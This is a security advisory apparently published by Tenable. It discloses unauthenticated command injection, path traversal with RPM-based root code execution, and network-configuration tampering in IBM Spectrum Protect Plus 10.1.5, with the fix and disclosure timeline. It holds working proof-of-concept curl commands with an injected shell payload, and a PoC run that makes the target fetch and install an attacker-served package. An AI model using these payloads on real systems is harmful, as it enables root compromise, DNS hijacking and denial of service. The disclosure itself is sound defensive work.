Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

IBM Spectrum Protect Plus Multiple Vulnerabilities

Critical

Synopsis

Tenable found multiple vulnerabilities in IBM Spectrum Protect Plus (SPP) 10.1.5 build 2204.

CVE-2020-4469: Unauthenticated Command Injection

Note: This is an incomplete fix to CVE-2020-4211.

IBM SPP 10.1.5-2181 and later attempt to address the vulnerability by single-quoting the hostname parameter supplied in the POST HTTP request to set the hostname of the SPP appliance. However, it is still vulnerable to command injection with following CURL command:

Proof of Concept
 curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' -d "hostname=';id >/tmp/cmd_injection;echo '" 'https://:8090/emi/api/hostname'

An unauthenticated, remote attacker can exploit this vulnerability to run arbitrary commands with root privileges.

CVE-2020-4470: Administrative Console Plugin Path Traversal Unauthenticated RCE

A path traversal vulnerability exists in the IBM SPP administrative console involving installing an administrative console plugin. An unauthenticated, remote attacker can exploit this vulnerability to upload an arbitrary file to a directory writable by the administrator account.

In one attack scenario, the attacker sends an HTTP request to the target requesting it to download an RPM package from an attacker-controlled URL. The attacker then sends another HTTP request to install the uploaded RPM package. The attacker can put malicious contents in the RPM (i.e., scriptlets) to achieve remote code execution with root privileges.

Proof of Concept
Spectrum Protect PoC Files

Attached is a python PoC script and a sample RPM package (attacker-rpm-1.0-0.noarch.rpm) that the attacker can upload and install. The sample RPM writes the output of the id command to /tmp/hacked on the SPP appliance. The PoC can be used as follows:

python3 ibm_spp_file_upload_rce_CVE-2020-4470.py -t <target_host> -r attacker-rpm-1.0-0.noarch.rpm 

The PoC starts a local httpd to serve the RPM. Please make sure the user running the PoC has permission to bind a TCP port (default 8080)

The RPM spec (attacker-rpm.spec) file used to generate attacker-rpm-1.0-0.noarch.rpm is also attached.

The following shows a run of the PoC:

[root@host ibm]# python3 ibm_spp_file_upload_rce_CVE-2020-4470.py -t <target_host> -r attacker-rpm-1.0-0.noarch.rpm
Starting httpd on <attacker_host>:8080 to serve attacker-rpm-1.0-0.noarch.rpm, DocumentRoot /work/ibm
Requesting target <target_host> to download attacker-rpm-1.0-0.noarch.rpm from <attacker_host>:8080 and save it to /tmp on <target_host>
<target_host> - - [19/Apr/2020 21:11:08] "GET /attacker-rpm-1.0-0.noarch.rpm HTTP/1.1" 200 -
Installing /tmp/attacker-rpm-1.0-0.noarch.rpm on <target_host>
{"commandoutput":{"errorCode":"0","commandOutput":"","commandErrorOutput":""}}

CVE-2020-4471: Network Configuration Manipulation and Appliance Restart

A flaw exists in the IBM SPP administrative console due to lack of authentication on URL endpoint /emi/api/netconfig. An unauthenticated, remote attacker can get and set the network configuration of the SPP appliance by sending a specially crafted HTTP request to the endpoint.

Proof of Concept

In one attack scenario, the attacker first sends a GET request to the endpoint to obatain the current network configuration:

curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' 'https://:8090/emi/api/netconfig'
{"hostname":"localhost","ip4prefix":"22","ninterface":"ens160","ip4address":"xxx.xxx.xxx.xxx","ip4gateway":"xxx.xxx.xxx.xxx","ip4dns":"xxx.xxx.xxx.xxx, xxx.xxx.xxx.xxx","ip4domainsearch":"some.search.domain","bootProtocol":"dhcp","connection":"ens160"}

The attacker then sends a POST request to the same endpoint to change the network configuration:

curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' -H 'Content-Type: application/json' -d '{"hostname":"localhost","ip4prefix":"22","ninterface":"ens160","ip4address":"xxx.xxx.xxx.xxx","ip4gateway":"xxx.xxx.xxx.xxx","ip4dns":"xxx.xxx.xxx.xxx, xxx.xxx.xxx.xxx","ip4domainsearch":"changed.search.domain","bootProtocol":"static","connection":"ens160"}' 'https://:8090/emi/api/netconfig'
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Application-Context: application:8090
Date: Mon, 20 Apr 2020 00:33:18 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked

{"commandoutput":{"errorCode":"0","commandOutput":"All validation passed\nSaving configuration in /etc/sysconfig/network-scripts/ifcfg-ens160\n","commandErrorOutput":""}}

The java code handling the endpoint executes a python script to update the network configuration and the script reboots the appliance after the update.

Examples of attacks using this vulnerability include (but not limited to) DNS hijacking (by changing the DNS server) and DoS (rebooting the appliance).

Solution

IBM has included fixes for CVE-2020-4469, CVE-2020-4471, and a partial fix for CVE-2020-4470 in version 10.1.6.

Disclosure Timeline

04/19/2020 - Vulnerabilities discovered
04/21/2020 - Vulnerabilities reported to CERT/CC. Submission tracked as VRF#20-04-VRHDQ. Disclosure date is July 20, 2020.
04/24/2020 - CERT replies. Ticket is tracked as VU#728137.
04/28/2020 - Tenable thanks CERT.
05/18/2020 - Tenable asks for an update.
05/27/2020 - CERT says they haven't received a reply from IBM.
08/18/2020 - Tenable notified IBM of incomplete patch for CVE-2020-4470

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-37
CVSSv2 Base / Temporal Score:
10.0 / 7.8
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Products:
IBM Spectrum Protect Plus 10.1.0-10.1.5
Risk Factor:
Critical

Advisory Timeline

06/15/2020 - Advisory published.
08/26/2020 - Solution and disclosure timeline updated